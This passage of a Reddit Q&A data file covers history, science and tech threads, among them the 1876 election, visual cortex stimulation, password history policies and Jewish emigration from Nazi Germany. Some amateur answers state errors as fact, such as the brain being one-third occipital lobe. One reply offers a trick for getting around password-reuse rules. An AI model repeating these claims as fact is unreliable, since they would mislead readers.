which were key to achieving electoral victory. Further west, Indiana also proved to be a contested ground, with the difference of five thousand voters turning the state in favor of Tilden and the Democrats. \n\nThe swing states added up: by the end of the Election Night, Tilden and the Democratic Party had amassed 184 electoral college votes, one shy of winning the whole thing. But those three aforementioned states under federal reconstruction - Florida, South Carolina, and Louisiana - were in dispute. (So was Colorado, which had just become a state). These 20 votes cast the whole election into confusion, leading to a massively political/cultural mess called the Compromise of 1877 (which put Hayes into the presidency and officially ended federal Reconstruction).\n\nOh - and finally, perhaps most importantly - Issue 6: Fraud. So much fraud. The percentage - 81.8% - is based on *reported* numbers of ballots cast. Corruption raised hell during the 1876 presidential election in terms of counting votes. South Carolina boasted 101% of eligible voters participated in the election. Florida and Louisiana similarly saw inflated numbers. Democrats threatened both black and white Republicans with violence in the South. Not to be outdone, several Northern states also saw inflated and almost impossible numbers of eligible voters coming to the polls. This massive amount of fraud led to the electoral confusion and disputed Southern states, which in turn brought about the Compromise of 1877.\n\nSo whether 81.8% of eligible American voters in 1876 actually participated... will never be known. But, without a doubt, the 1876 presidential election was both impressively strange and contentious.\n\n*Final note:* I do not do political history by trade. I research social and cultural history in the Civil War Era. I acknowledge there may be errors here. I look forward to reading other answers!\n\n*Sources Below.*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://imgur.com/a/rjFrb", "https://www.reddit.com/r/AskHistorians/comments/6fent8/did_longstreet_and_other_confederates_really_seek/dihn6ym/?context=3"], ["https://www.270towin.com/1876_Election/", "https://www.loc.gov/resource/rbpe.23702100/", "https://www.loc.gov/resource/rbpe.12804700/"]]}
{"q_id": "wyosi", "title": "the concept of \"scientific realism\"", "selftext": "I'm doing an advertising assignment at University and I've read through all of the readings and tried to do some extra research (I'm generally a pretty good independent learner, but maybe because this is linked with philosophy and stuff, I don't know... it's just gone right over my head!).\n\nBonus points if you could relate it to advertising, but anything would be of help!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/wyosi/eli5_the_concept_of_scientific_realism/", "answers": {"a_id": ["c5hmwlf"], "score": [19], "text": ["What is real?\n\nThe friend you like to play with? He might seem real when he is around, but how do you know that? How do you know he is not some elaborate show of lights and sound created by some God?\n\nWell maybe he is real when he is around you, but is he also real when you are not around?\n\nHow would you know?\n\nWell you could ask others, maybe his mom, about what he does when he is alone.\n\nBut what if you don't trust her?\n\nWell you could be smart and play at his house and then maybe but a toy in his bed, so that if he slept in it he would have to remove the brick.\n\nThen you could tjeck if he had removed the brick later. You could do similar things with food, his clothing, etc.\n\nThis is basically doing science. You set up a set of experiments to test what you believe and see if you can show that is isn't so. Now if the toy was still in his bed the day after he might just have put it back there, or he might have turned to stone when you left and so didn't know the toy was there.\n\nBut if the toy is no longer there, he (or his mom) had had to remove it. So it is more likely that he is actually real.\n\nThis is the science part\n\nSo what then is scientific **realism**?\n\n > he view that the world described by science (perhaps ideal science) is the real world, as it is, independent of what we might take it to be. **wikipedia**\n\nWell what if you believe, completely and totally that your friend wasn't real? That he was created by your parents so that your could have somebody to play with?\n\nWell scientific realism says that it doesn't matter what you believe, that what is real is what science can figure out.\n\nThat seems a bit arrogant, right? If I know something that is real, it is real because I know it?\n\nBut if you look at the world, there are many who believe in spells and sorcery and magic, and how absolutely believe it to be true.\n\nYet we don't normally see magic, and when we look at the stories people tell of magic, and look closer, there is nearly often some simple explanation behind. You can walk on fire without being harmed if you do it right (do ask your parents before doing it), but not because some God protect you, but as a consequence of physics  and how heat is transfered.\n\nThe important thing is even if you believe that a God is protecting you, you will still burn your feet if you don't do it right, no matter how hard you believe.\n\nScientific realism is then simply this: what is real (and the consequences of this) does not depend on what you believe, or claim to believe, or hope or wished was true, nor upon what some God does, but on what we can measure, produce and predict (which is what science is about).\n\nThe reason somebody would believe in scientific realism might be that science is good at explaining a lot of things, but if the real world was just created by some God who played around with us then many of things science predicts would not be right (they would only be right if it they guess correctly the way a God was toying with us)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "16t96b", "title": "What happens if we artificially stimulate the visual cortex of someone who has been blind from birth?", "selftext": "Do they see patterns and colors? \n\nIf someone has a genetic defect that, for instance, means they do not have cones and rods in their eyes and so cannot see, presumably all the other circuitry is intact and can function with the proper stimulation. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/16t96b/what_happens_if_we_artificially_stimulate_the/", "answers": {"a_id": ["c7z5o2d", "c7z6bk6", "c7z6n4f", "c7z7eve", "c7z8f76", "c7z9yj3", "c7zaxuu", "c7zc24b", "c7zcelm", "c7zd38x"], "score": [9, 460, 28, 12, 9, 8, 2, 2, 2, 3], "text": ["In some cases unused brain areas are appropriated by their neighbors. It's possible that unrelated functions would be triggered.  ", "If they ~~were blind from birth~~ developed without a retina or optic tract then it's likely they wouldn't experience any visual phenomena. This is because in order for your brain to be able to represent a particular visual phenomenon it first needs to experience that [kind of] sensation and then encode the statistical patterns that are associated with it. Your brain basically starts out knowing nothing about the visual world and through visual experience builds a dictionary of various visual features. The beginnings of this are initiated before birth through so called retinal waves, which induce the initial organization of primary visual cortex into so called feature maps (orientation maps being the most studied), but this process has been shown to require actual visual experience to stabilize. \n\nTo answer your question then, it depends on the source of their blindness. If the individual had an intact retina before birth they might have a faint visual experience during direct stimulation of the visual cortex, while those missing the retina entirely would most likely not experience any visual sensation. There is also a chance that given enough time the visual areas of the brain would look for new inputs, from different senses, such that even if they had early visual experience the visual areas of the brain may have been rewired to process other sensory modalities.\n\nSource: PhD student working on computational modelling of the development of the early visual system.\n\nEdit: Corrections.", "In this study they directly stimulated the occipital lobe of a 52-year-old blind woman with electrodes. She experienced sensations of light.\n\n_URL_0_\n\nEdit: The patient was myopic from birth and she was gradually losing her vision through adulthood to lateral glaucoma. She became completely blind after a right retinal detachment.", "Here's a ted talk that mentions that exact thing!  \n\n_URL_0_", "Stimulating the intact visual cortex of a sighted (or perhaps even blind) person, would undoubtedly lead to a very artificial form of visual sensation. For example, stimulating the primary visual cortex (in sighted individuals) elicits the sensation of flashes of light called [phosphenes](_URL_3_). What is REALLY intriguing, I think, is what the blind see if they gain sight in adulthood- that is, after their visual system has adapted to blindness since birth. There are some very interesting papers out there on this topic.\n\n[Here](_URL_4_) is a case study about a man who gained sight after 52 years of blindness.\n[Here](_URL_2_) is a link to Project Prakash, a HUGE ongoing research project on late recovery from blindness and how the visual system adjusts to sight.\nAnother interesting avenue is what happens to the visual system when the situation is reversed- when sighted people are suddenly blinded (hallucinations ensue!)- [here](_URL_1_) and [here](_URL_0_) are articles on that. Let me know if you want .pdfs of any of this if you can't access these articles.\nI wrote a review paper on this topic 2 years ago and am currently doing a PhD in visual neuroscience... feel free to ask any questions", "**This has been done**\n\nWell it's been done the other way round.\n\nIt's been shown that people born blind activate their visual cortex when reading Braille. So it would be fair to assume that stimulating the visual cortex would make them feel like they're reading Braille.\n\nSource: [Nature Letters](_URL_0_)", "You will probably find this relevant.  \n  \n_URL_0_", "What happens if you do this to a person that can see, will the stimulus happen simultaneously with what is seen or will it overwrite what is being seen?  ", "There was an experiment done awhile back where they connected a camera to the tongue and because of the tongues sensitivity it somehow allowed the subject to \"see\" through the camera. Here is a [Youtube](_URL_0_) video from CBS news.", "Many comments are stating that if the blindness was from birth, that no visual artifacts could be seen if the stimulation was done as an adult.  This is simply not true.  There is reassignment of some visual cortex over the years, yes.  However, not to the point where your whole visual cortex would be used.  Remember, the human brain is 1/3 occipital lobe.  That means 1/3 of your brain is your \"video card\".  You cannot reassign 1/3 of your brain to other functions, or else you would be a scientific anomaly with close-to-superpowers.  There would absolutely be a visual experience for the person who was blind from birth, you can do this in 2 minutes with a process caled TMS.  They would not know what is happening, and might not be able to report to you the strange experience, but they will have some sort of visual artifacts if you stimulate their visual cortex.  They will describe the feelings as alien, and absolutely bizarre.  My favorite example of this is using TMS to stimulate visual cortex region 4, which makes colors flash in your visual field.  If you do this to people who are color blind, they can sometimes see the colors that they could never see with their eyes.  They describe these colors as \"alien colors\" that don't exist on earth.  I really want to see a new color, I just can't wrap my head around what it would look like.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC1351724/"], ["www.youtube.com/watch?v=wpSBdA0Dc14"], ["http://www.ncbi.nlm.nih.gov/pubmed/17921872", "http://journals.lww.com/jneuro-ophthalmology/Fulltext/2004/06000/Visual_Hallucinations_During_Prolonged.3.aspx", "http://web.mit.edu/bcs/sinha/prakash.html", "http://www.ncbi.nlm.nih.gov/pubmed/20091790", "http://www.richardgregory.org/papers/recovery_blind/recovery-from-early-blindness.pdf"], ["http://www.christofflab.ca/pdfs/2009/01/sadato-et-al-1996.pdf"], ["http://www.ted.com/talks/pawan_sinha_on_how_brains_learn_to_see.html"], [], ["http://www.youtube.com/watch?v=OKd56D2mvN0"], []]}
{"q_id": "bdnhnt", "title": "what is \u201cback pressure\u201d? i work in a facility where the word back pressure is used. i understand pressure, as in our reactor is under 10 psi of pressure however i don\u2019t understand when people mention \u201cback pressure\u201d, as in \u201cthat pipe work has back pressure\u201d.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bdnhnt/eli5_what_is_back_pressure_i_work_in_a_facility/", "answers": {"a_id": ["ekzfcxj", "ekzfulj", "ekzg0vi", "ekznz90", "el02i6x"], "score": [3, 5, 29, 2, 2], "text": ["Basically means that the pipe has pressure the opposite direction it's supposed to flow", "Think of the pipe as a one way street you want the gasses flowing on one direction.  Pressure keeps it flowing in that direction, back pressure is when there is more pressure where you want the gas to go than pushing the gas so the gas backs up in the pipe or flows backwards.", "It is pressure opposing the desired/intended direction of fluid flow through a pipe.\n\na simple example is an air pump filling up a car tire. Your car tire is pressurized (hopefully), and when you connect the air hose to the tire, the hose becomes pressurized. If you want to add air to the tire, you need to overcome this backpressure in order to force more air into the tire.\n\nIf the pump or driving force in your pipe system is not strong enough to overcome the back pressure, you will have no flow in the pipes, or possibly flow in the opposite direction.\n\n_URL_0_", "Back pressure refers to the pressure upstream of a control element. A pressure reducing regulator allows enough flow across it to keep the downstream pressure at a desired setpoint. Conversely, a back pressure regulator provides sufficient resistance to flow to keep the upstream pressure at a desired setpoint.  You might also encounter the term \"back pressure\" when referring to the pressure that any flow restriction will cause upstream of itself. When flowing water out of a hose, for example, pressure is exchanged for kinetic energy of the flow. When you put your thumb over the end, you create resistance to flow, so more pressure is generated upstream of your thumb than would exist in the absence of that restriction.", "You blow up a balloon. If you let go, the air wants to sploosh out.\n\nIf you puff more, you have to puff harder than the air wants to come out!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.quora.com/What-is-back-pressure-in-a-pipeline"], [], []]}
{"q_id": "2j52la", "title": "Is it true, as this article states, that Patton held anti-Semitic views and while running the Displaced Persons camps in southern Germany, treated Holocaust survivors \"little better than the Nazis did,\" leading to a strong rebuke from Truman?", "selftext": "The article in question:\n\n_URL_0_", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2j52la/is_it_true_as_this_article_states_that_patton/", "answers": {"a_id": ["cl8oxih", "cl8ttyr"], "score": [355, 126], "text": ["I cannot speak about Patton's views but Truman absolutely demanded that action be taken regarding the state of the DP camps and the way DPs were being treated in the American zone.\n\nAfter protests, President Truman sent Earle G. Harrison of the UPenn to see the Army's treatment of the DPs firsthand. Harrison reported back, \u201cAs matters now stand, we appear to be treating the Jews as the Nazis treated them except that we do not exterminate them. They are in concentration camps in large numbers under our military guard instead of SS troops. One is lead to wonder whether the German people, seeing this, are not supposing that we are following or at least condoning Nazi policy.\u201d \n\nThis led Truman to write a letter to Eisenhower in August of 1945 stating, in part, \u201c...we have particular responsibility toward these victims of persecution and tyranny ~~(Jews)~~ who are in our zone. We must make clear to the German people that we oughly abhor the Nazi policies of hatred and persecution. We have no better opportunity to demonstrate this than in the manner in which we ourselves actually treat the survivors remaining in Germany.\u201d Truman's letter led to the treatment of DPs and the state of DP camps to become a priority for the US Army. According to Major Irving Heymont, some soldiers were sympathetic while some were annoyed by the problems the DPs caused.\n\nSource: Among the Survivors of the Holocaust - 1945,  The Landsberg DP Camp Letters of Major Irving Heymont, US Army\nThe American Jewish Archives, Cincinnati, OH 1982\n\n**Edit**: changed to UPenn, crossed out \"(Jews)\" in the quote from Truman's letter as it was my addition in my notes I pulled the quote from.", "I can't speak on Patton directly, but American journalists working in Bavaria in August of 1945 reported that the population of Bavaria expanded from 7.5 million to 10 million due to an influx of displaced persons that were housed in camps in that region. Displaced persons were supposed to receive 2000 calories per day as a food ration. In contrast, regular German citizens who weren't pregnant, working hard labor, or sick, were to receive 800 calories per day, with American authorities optimistic that they could survive the winter and increase this ration to 1100 calories. \n\nChoosing Bavaria as a hub for refugee camps makes sense given that Bavaria was also considered the \"breadbasket\" of Germany due to the relative thriving of its agricultural lands compared to the rest of Germany (and much of Europe as well). This is important because the food situation in post-war Europe was quite dire, and it remained so for the next few years. The occupying military forces from all of the respective nations had a tendency overestimate how much food would be available in the near future to score political points, and food imports from Britain and - most critically - the United States, were irregular and a source of domestic contention. The food ration for German citizens fluctuated throughout the immediate postwar period, but it would be years before there was enough food being both domestically produced and imported from foreign nations to satisfy a 2000 calorie diet.\n\nThink of the phrase \"living paycheck to paycheck,\" and then imagine that the reserves of stored food in an entire nation would literally be finished in a few days or a few weeks (depending on the region) unless another shipment of foreign foodstuffs arrived, and then imagine this scenario continuing without abatement for at least four or five years.\n\nWith all of this in mind, it is likely that many displaced persons were probably not fed as much as was planned. Whether or not Patton intentionally mistreated displaced persons is an interesting question that I cannot answer, but the overall treatment of displaced persons was certainly tied to the agricultural and economic crisis of the post-war years in Europe, and it is unlikely they made it through the ordeal without their own physical and psychological suffering due to the food shortage.\n\nMy final research project for my undergraduate in history focused on American industrial and agricultural policy in post-war Germany and its relationship with US-Soviet relations. Since I didn't have physical access to the archives in Washington DC, which would have provided these statistics directly from the American military government at the time, I relied primarily on archived newspaper reports from American journalists in Germany (along with documents in the *Foreign Relations of the United States* from 1945, 1946, and 1947, published by the State Department). Here are some of the headlines and brief synopses I originally wrote during my initial research to get a better sense of the overall food picture:\n\nMcLaughlin, Kathleen, \u201cFood in Germany to be Sufficient: Bavaria Has Surpluses of Beef and Potatoes for Shipment to Other Areas,\u201d The New York Times, August 09, 1945, p. 18.\n\t\n(After harvest, enough food in Germany to prevent starvation for winter 1945-46, but less than other liberated nations; U.S. zone increasing rations from 800 to 1,100 calories per day; 400 head of cattle delivered to Berlin from Bavaria weekly; Bavarian population expanded from 7.5 million to 10 million due to refugees, demobilized soldiers; German civilians receive 1,100 calories, displaced persons at camps receive 2,000 calories; hard laborers, expectant mothers, and the ill receive more calories)\n\n---, \"General Food Cut in Germany Seen: U.S. Officials Declare British Action Will Be Felt in All Zones - French Supply Low,\" The New York Times, March 02, 1946, p. 3. \n\n(Less than 10 days of food left in French territory with no aid in sight; unable to maintain \u2018normal\u2019 food supply of 1550 calories per person; considering pooling the food supplies of all four zones together; Lieut. Col. Stanley Andrews interviewed, said that normal supply would require peacetime rationing in the USA until harvest in early fall; German farmers producing more grain now than under Nazi regime, despite poor infrastructure; Soviet Government delivered 92 carloads of sugarbeet and vegetable seeds, fulfilling the remaining seed needs for the American zone)\n\n---. \u201cBritish Seek Aid On German Food; Crisis in Their Zone Remains Acute as Talks Begin,\u201d The New York Times, November 17, 1946, p. 114.\n\n(British argue that lowered US imports to blame for food crisis; critics argue that raising ration from 1,350 to 1,550 was a political maneuver to influence October 20 elections in bizonal area; majority of British zone industry in Ruhr \u2013 six million German inhabitants need food in order to operate industry; domestic potato production lower than expected, starvation imminent in Rhineland and Westphalia)   \n\n\u201cU.S. Zone Forbids German Food Cut,\u201d The New York Times, November 24, 1946, p. 13.\n\n(Military government refused to cut ration from 1,550 to 1,300 by the recommendation of the British-United States Food and Agriculture Committee in Greater Hesse; city workers leave industrial posts to search for food; some factories experience 50% of workers missing; in Wurttemberg, none of the demand for potatoes and only half of grain demand can be met; farmers continue to resist requisition efforts; America lent 50,000 tons of food to British zone, hoping to be paid back within several months) \n\nClark, Delbert, \u201cGerman Food Crisis Is Growing Worse; Farmers Hold Back; U.S. Shipping a Factor,\u201d The New York Times, December 30, 1946, p. 3.\n\n(British and Americans raised rations from 1,235 to 1,550 calories per day in September; unrealistic, as no guarantees put into place to maintain such levels until next harvest; political maneuver to influence October elections; farmers in American and Soviet zones unable or unwilling to meet quota demands; American zone depends on Soviet food as well; America planned to allow full potato ration to Germans to cover mid-October 1946 to July 1947 in one delivery, now uncertain if such program would work; in September, October, 50,000 metric tons of food imported from USA monthly, need 92,333 metric tons monthly through June 1947 to meet the caloric ration; grain crop 22% below 1939-1944 average; industrial production continues to climb, 85% gain since year began; heavy industry at 50% of 1936 levels, light industry 37%, 44% average of 1936)\n\n\u201cGerman Food Ration Cut,\u201d The New York Times, January 23, 1948, p. 3.\n\n(UK-USA military governments cut food ration from 1,550 to 1,200 \u2013 1,400 calories per day, depending on location; the Ruhr region particularly distressed, critical due to high levels of industry; more strikes in Ruhr and Bavaria; states to receive imported food only if they meet indigenous quotas; dietary fat shortage in bizonal area; 5,000 tons of fat released for February, half to the Ruhr)\n"]}, "title_urls": [], "selftext_urls": ["http://www.dispatch.com/content/stories/editorials/2014/10/01/patton-book-ignores-generals-virulent-anti-semitism.html"], "answers_urls": [[], []]}
{"q_id": "bjwwxk", "title": "why would storing my previous passwords be more secure than letting me use whatever password i want indefinitely?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bjwwxk/eli5_why_would_storing_my_previous_passwords_be/", "answers": {"a_id": ["embvjzj", "embvnun", "emby8l7", "emch12v", "emcvl0t", "emcvtqg", "emcwrpd", "emcy4rj", "emd141a", "emdplkr"], "score": [5, 118, 396, 13, 32, 203, 17, 2, 6, 8], "text": ["They aren't storing your password as u/popisms explains pretty well, even if they were, most of the time your password doesn't get stolen and then used right away. Typically it gets stolen, then sold, then used later on. If you were to change your password in that time, it becomes useless.", "It's about protecting you and their company from someone using an old password.  Most hackers that get names and passwords don't go logging in right away, and will sit on them for awhile.  \n\nBy forcing you to change your password every so often, it puts an expiration date on how long the bad actors have access to your account.  If you keep re-using the same passwords, it defeats the whole purpose.", "As others have said, passwords are normally hashed.\n\nPassword change requirements are typically only used in enterprise environments, in which a user may write down their password or share it with another employee. It's not necessary for the normal user, in fact, it's generally considered less secure to make passwords expire, as most users just make small changes the password. IE: *Password1, Password2, Password3*, etc.", "They shouldn't be storing your previous passwords (or your current one). What they store is a hash of your password. Basically it's a one-way scramble.\n\nYou put in your password:\n\n`hunter2`\n\nand you get out a big string like this:\n\n`F52FBD32B2B3B86FF88EF6C490628285F482AF15DDCB29541F94BCF526A3F6C7`\n\nThere's no way (at least that we know of) to do that operation in reverse. That means that even if the server is hacked and that string is leaked, there's no way for the hacker to get your password from it. When you log in, they take the password you gave them, hash it, and check to see if it matches the hash of your password.", "Another EILI5 question: why not just create a 5 second delay on password attempts? Wouldn\u2019t this completely eliminate every kind of brute force attack easily while being almost imperceptible to a human user?", "It isn't. It's an outdated practice that is [no longer recommended](_URL_0_). The passwords should be stored as password hashes, however cracking the password history is often tremendously useful to an attacker as it provides insight in to how you compose passwords. Also, a lot of users modify their passwords in a predictable way each reset, so if I know you start at Password1, then progress through Password2, Password3, Password4, and Password5, I can guess that your next password will be Password6, which helps me maintain access as an attacker.", "This is actually not recommended anymore. They now recommend a 16+ character passwords with no expiration. Plenty of people already mentioned hashing so I'll leave that out here.", "_URL_0_\n\nAn easy way (for me) to create memorable but hard to crack passwords is to mix and match short foreign words. The more exotic the language the harder it is to do a dictionary check. Character replacement isn't great because hackers will include character substitutions in the brute force method. \n\nFor example, let's say I go to paypal. I would use something like:\n**6J'aime5pagar$** where \"J'aime\" is french for \"I love\" and \"pagar\" is spanish for \"to pay\", aka \"I love to pay\".\n\nNow I can keep a pattern of \n > [# of letters][Start of sentence][# of letters][contextual word][additional characters for valid password and length]\n\nI can even reuse my [start of sentence] for similar sites, so maybe for all the shitty sites I go to I will use \"Scheisse!\" (german for \"shit\"). This helps to thematically group my passwords for ease of remembrance.\n\nNow French, German, and Spanish are pretty common, but if you start substituting any more exotic languages you know (or want to learn!), the difficulty skyrockets. Gaelic, african languages, asian languages, finno-ugric, fictional languages, etc. can get as wild as some random string of characters.", "it's not. but it trades off a trivial amount of security in order to significantly raise the security *floor*.\n\nminimum length restrictions, character requirements, password blacklists, and repetition blockers all reduce security by reducing the search-space. put another way, if you accept *anything* as a password then an attacker has to try *everything* in order to brute force one. however, if you put some restrictions on the acceptable passwords then an attacker now doesn't have to try anything that doesn't meet your restrictions, shaving a lot of possibilities off and therefore making it easier to attack.\n\nhowever, password strength requirements, when not overbearing, can still be a very good idea, because the types of passwords being excluded are so trivial that it wouldn't take long for an attacker to run through all of them anyway, and what you gain with that trade-off is that your users can't use absolute bottom of the barrel trash passwords, which increases overall security of your platform at a negligibly trivial cost to any particular user's password strength.", "UnethicalLifeProTipe: a trick to get around this is after you change your password, change it 4 more times manually, then change it back to the one you like.\n\nI do it all the time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://pages.nist.gov/800-63-FAQ/#q-b5"], [], ["http://www.passwordmeter.com/"], [], []]}
{"q_id": "4z7gwb", "title": "Augustus Caesar was 20 when he formed part of the Triumvirate, and became \"one of the most powerful men in the world\". Was there any precedence in Roman history for someone so young having so much power?", "selftext": "I'm (re)reading *Augustus* by Adrian Goldsworthy, and on page 127 he says \n\n >  He was now of an age when in ordinary circumstances he would have been serving as a junior officer in the army or beginning to appear as an advocate in the courts. Instead he was one of the most powerful men in the world.\n\n\nThanks!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4z7gwb/augustus_caesar_was_20_when_he_formed_part_of_the/", "answers": {"a_id": ["d6tjobv"], "score": [26], "text": ["Uhhh, sort of, but not really. Octavian was enrolled into the senate at Cicero's urging without having held any senatorial magistracy early in 43 when he was still 19. Theoretically you were supposed to not be eligible for the quaestorship, and thus the senate, for like another 10 years--special enrollments were far from unknown, however, and really pretty common after Caesar got back from the civil war. What *is* unusual is that he was granted extraordinary *imperium*. This was essentially a recognition, really, of the already considerable private army that he illegally held, and an attempt by Cicero to firmly adhere it to the state. Private citizens with illegal armies being granted *imperium* were not totally unknown, nor was it unprecedented that they individuals might be quite young--Pompey was 23 when he recruited three legions at Pisenum as a private citizen--but it was still unusual. Octavian's unprecedented power, however, that resulted in his appointment to the consulship late in 43, was largely accidental. The deaths of the consuls Hirtius and Pansa, to whom he was subordinate, in battle had left him with a force several times larger, and in a stroke of extreme good fortune the consuls had been victorious, allowing Octavian the leeway to both negotiate with Antony and threaten the city without fear of serious attack to his rear. It's easy to imagine this rather fortuitous string of circumstances going a totally different way.\n\nIndividuals of extreme power had risen previously both at a young age and through extraordinary avenues. The greatest example was Pompey. We've already seen that at only 23 Pompey had raised a private army and two years later he was in Sicily with a propraetorian commission to root out anti-Sullans--attaching himself to Sulla both politically and legally (he married Sulla's stepdaughter probably by or before 82) allowed Pompey all kinds of avenues for rapid unorthodox advancement. By the time of Pompey's (illegal, he was not old enough nor was he yet a member of the senate) triple triumph at 27 he had power equal or even greater to Octavian's, though he didn't immediately convert it into a consulship the way Octavian did--Octavian was somewhat helped by the fact that in his case the dictator was dead and the state in disarray, whereas Sulla was still very much alive and kicking when Pompey was climbing the ladder. Like Octavian Pompey was appointed to the consulship without having ever held electoral office (he was the first to do so)--Pompey did it in 70, though, at the age of 36. Pompey probably could have gotten the consulship earlier but was more interested in fighting wars in Spain and against Spartacus following his triumph. So in that respect Octavian's actual *legal* power certainly far surpassed Pompey's, although Pompey's power as a young man was certainly comparable, even if he didn't immediately convert it into magistracies the way Octavian did"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9z7y6b", "title": "why do streaming services (netflix, hulu, hbo now, etc.) all have a feature that asks if you\u2019re \u201cstill watching\u201d after a few episodes?", "selftext": "I just can\u2019t think of any way that the company gains from this/loses from people streaming while not actually watching. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9z7y6b/eli5_why_do_streaming_services_netflix_hulu_hbo/", "answers": {"a_id": ["ea6zy9p", "ea6zz6q", "ea703la", "ea705t8", "ea7072r", "ea7q3o6"], "score": [5, 29, 6, 3, 6, 2], "text": ["If you dont click yes it stops streaming to save you data. Noone wants to waste a ton of data letting movies play after youve fallen asleep. ", "If you aren't watching, they are spending bandwidth beaming you movies for no reasons, which costs them money as they have to pay massive internet bills for how much it costs to stream movies. ", "Let's take Netflix for example. When you open a connection it uses one of there many ports to communicate. That costs money. And streaming all that data costs alot to what ever ISP they are using. Simply closing that connections saves you ***both*** a couple bucks", "They're uploading the video stream,  so it's using their upstream bandwidth.  Their servers are also working to stream the video.  Basically, there's a cost involved, either energy consumption, bandwidth utilization,  or wear and tear on components,  in order to provide that stream. If you're not watching,  they can save that cost by stopping the stream.", "There are several things:\n\n1. Bandwidth is cheap, but not free. If 10% of the people have put it on but aren't watching anymore, that is still 10%. If you are serving a million people, that is wasted bandwidth of 100 000 people. Small amounts with large numbers still adds up.\n\n2. Statistics. The service wants to know if people are actually watching. They know if you watch, they know if you stop, they know if you preview, they know if you rewind, they now know if you are not watching.\n\n3. Royalties. (This is a guess, but wouldn't surprise me). If you don't need to play, you don't need to pay.\n", "Netflix (et al) automatically play the next episode in a series. People fall asleep while binging. The \"still watching\" dialog shuts off the stream. Everyone is mentioning the benefits to Netflix. But it also benefits the user. \n\n1. If you have a bandwidth cap, this stops it.\n2. If you're watching a series, presumably you want to watch it. By stopping it while you're not watching it makes it easier for you to pick up where you left off.\n\nSo something that benefits both Netflix and the user is obviously good."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "48qg5y", "title": "When did the Jews and others leave Nazi Germany? What were the main red flags that they took as signs it was time to go? What were the signs it was too late?", "selftext": "The obvious trigger for this question is the increasingly likely possibility of a certain candidate becoming president, and red flags I should look out for to decide if it's truly time to leave. This question isn't about contemporary politics, though. I want to know about the experience of those who were in Germany during the rise of the Nazis. Obviously there were many well-known events corresponding to their rise, but were any of these events more immediately followed by intellectuals and other members of society leaving? \n\nAnd what about the point of no return? What were the major social and political events after which it was too late to leave the country?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/48qg5y/when_did_the_jews_and_others_leave_nazi_germany/", "answers": {"a_id": ["d0oj5i9"], "score": [2], "text": ["The first wave of emigration happened after the Reichstagsbrand/ burning of the Reichstag on the 27 February 1933. The Reichstagsbrand was used as a legitimisation for the Nazis to implement an emergency legislation, the \"Notverordnung zum Schutz von Volk und Staat\" which enabled them to imprison political opponents. \nFurther the \"Gesetz zur Wiederherstellung des Berufbeamtentums\u201c (Law for the Restoration of the Professional Civil Service) got implemented on the 7 April 1933. This law officially banned Jews, as well as political opponents, from all civil service jobs. There where exceptions for Jews who fought for Germany in WWI, but even this privilege ended in 1935. \nThere was also a law introduced in 1933, the \u201eGesetz gegen die \u00dcberf\u00fcllung deutscher Schulen und Hochschulen\u201c, which made Jews unable to visit higher schools and universities.  \nSo in 1933 it was more their livelihood than their life that was threatened. At this point, it were mainly highly educated Jews and Intellectuals who left Germany.  \n \n\n\nThe second wave of immigration started in autumn of 1935. The \"N\u00fcrnberger Gesetze\u201c (Nuremberg Laws) were introduced on 15 September 1935. One law was the \u201eGesetz zum Schutz des deutschen Blutes und der deutschen Ehre\u201c (Law of the Protection of the German Blood and German Honour), which forbade marriages and sex between Jews and Germans, as well as the employment of a german woman under the age of 45 in a Jewish household. \nThe second law, the Reichsb\u00fcrgergesetz (Reich Citizen Law), basically declared that only Germans and those of related blood were able to classify as citizens. Everyone else automatically lost their citizenship and was classed as state subjects. This was the point, where the Ariernachweis/Aryan certificate was officially implemented. \nWhile this seems like a really big red flag in hindsight, there were quiet some Jews, who hoped the Nuremberg Laws would help them in the long run. Some orthodox circles even supported the part that forbade a marriage between a Jew and a non-Jew. Others believed that their life in the future maybe wouldn't be easy, but Germany as a constitutional state would still be a place worth living. Many felt a strong connection to Germany and their home towns and were unwilling to even thjink about fleeing. \n \n\nLeaving Germany as a Jew wasn't easy, even thought one of the stated goals of the Nazis was that all Jews should leave Germany. Jews were required to pay up to 90% of their wealth as a tax(the Reichsfluchtsteuer) for simply leaving Germany. Transferring money overseas was a punishable crime. This made it significantly more difficult to start a new life somewhere far away from home. An exception was Palestine, due to the Haavara Agreement. \n\n\nAfter the Novemberprogrom (Crystal Night) on the 9-10 November 1938 many more Jews wanted to flea Germany, as it marked the trasition from discrimination to systematic persecution. This was he point, where most if not all Jews understood, that there was no future for them in Germany, no matter how much they would try to assimilate. But at this point, there were almost no countries willing to take them anymore. Nonetheless, more than 40,000 Jews were able to leave the country in 1938, in 1939 it were around 78,000. \n\nWith the start of the war emigration was almost impossible. Only 30,000-35,000 Jews were able to escape. \n\nIn Oktober 1941 the Auswanderungsverbot (ban on emigration) got implemented. After that Jews were not able to leave the country on legal ways and even illegal ways were nearly impossible due to the war related events in and around Germany. \n\nSources:\n\n\nMommsen, Hans. Der Reichstagsbrand und seine politischen Folgen, In: Vierteljahrshefte f\u00fcr Zeitgeschichte, 12 (1964), Heft 4, S. 351\u2013413.\n\nAly, G\u00f6tz (2014). Why the Germans? Why the Jews? Envy, Race Hatred, and the Prehistory of the Holocaust. New York: Metropolitan.\n\nJ\u00fcnger, David (2016). Jahre der Ungewissheit: Emigrationspl\u00e4ne 